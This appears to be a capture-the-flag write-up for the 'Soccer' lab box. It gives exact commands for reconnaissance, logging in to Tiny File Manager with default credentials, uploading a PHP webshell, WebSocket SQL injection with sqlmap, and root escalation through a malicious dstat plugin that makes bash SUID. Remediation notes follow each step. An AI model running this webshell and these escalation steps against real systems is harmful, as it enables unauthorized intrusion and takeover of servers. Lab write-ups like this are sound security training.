Soccer
Summary
My found a Tiny File Manager installation left at its factory password, uploaded a PHP webshell that gave command-level access to the web server, then read the nginx configuration to discover a second virtual host running a soccer-player portal. That portal's ticket-lookup feature passed user input directly to a SQL query over a WebSocket connection, leaking the 'player' account's SSH password from the database.
With an interactive shell as player, my wrote a two-line Python plugin into a world-writable dstat directory and triggered it through a permissive doas rule, executing code as root and capturing both flags.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sC -sV -p- --open $TARGET -oN soccer.nmapecho "$TARGET soccer.htb" >> /etc/hostsgobuster dir -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html -t 40Exact commands 1
curl -sc /tmp/tfm.jar -b /tmp/tfm.jar -d 'fm_usr=admin&fm_pwd=$PASSWORD2' -H 'Host: soccer.htb' http://soccer.htb/tiny/ -L | grep -i 'logout\|File Manager'FixReplace Tiny File Manager's factory-default credentialsCritical
Exact commands 3
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.phpcurl -sb /tmp/tfm.jar -F 'p=/' -F 'file[]=@/tmp/shell.php' -H 'Host: soccer.htb' 'http://soccer.htb/tiny/tinyfilemanager.php?p=tiny%2Fuploads'curl -s -H 'Host: soccer.htb' 'http://soccer.htb/tiny/uploads/shell.php?cmd=id'FixBlock PHP execution inside the file upload directoryCritical
location ~* /tiny/uploads/.*\.php$ { deny all; }. Alternatively, configure PHP-FPM to process only files outside the uploads tree. If file uploads are required, restrict permitted extensions to known-safe types (images, PDFs) using an allowlist validated server-side, not client-side.Exact commands 3
curl -s -H 'Host: soccer.htb' 'http://soccer.htb/tiny/uploads/shell.php?cmd=cat+/etc/nginx/sites-available/*'echo "$TARGET soc-player.soccer.htb" >> /etc/hostscurl -sv -H 'Host: soc-player.soccer.htb' http://$TARGET/ | head -40Exact commands 2
wscat -c ws://soc-player.soccer.htb:9091sqlmap -u 'ws://soc-player.soccer.htb:9091' --data='{"id":"*"}' --dbms=mysql --technique=B --level=5 --risk=3 --dump --batchFixParameterise SQL queries in the WebSocket ticket service and hash stored passwordsCritical
SELECT … WHERE id = ? with PDO or mysqli. Audit every other query in the codebase for the same pattern. Stop storing passwords in plaintext: hash them with bcrypt or argon2id before saving. Rotate all credentials that were present in the database at the time of the breach.Exact commands 2
ssh player@$TARGETcat /home/player/user.txtExact commands 5
cat /usr/local/etc/doas.confls -la /usr/local/share/dstat/printf '%s\n' 'import os' 'os.system("chmod u+s /bin/bash")' > /usr/local/share/dstat/dstat_root.py/usr/local/bin/doas /usr/bin/dstat --root/bin/bash -p -c 'id; cat /root/root.txt'FixRemove the unrestricted doas rule for dstat and harden the plugin directoryHigh
chown root:root /usr/local/share/dstat && chmod 755 /usr/local/share/dstat) before reinstating the doas rule. Restrict the doas rule to an explicit, fixed set of flags rather than allowing arbitrary arguments. Review all other doas/sudo rules on the host for similar unrestricted entries.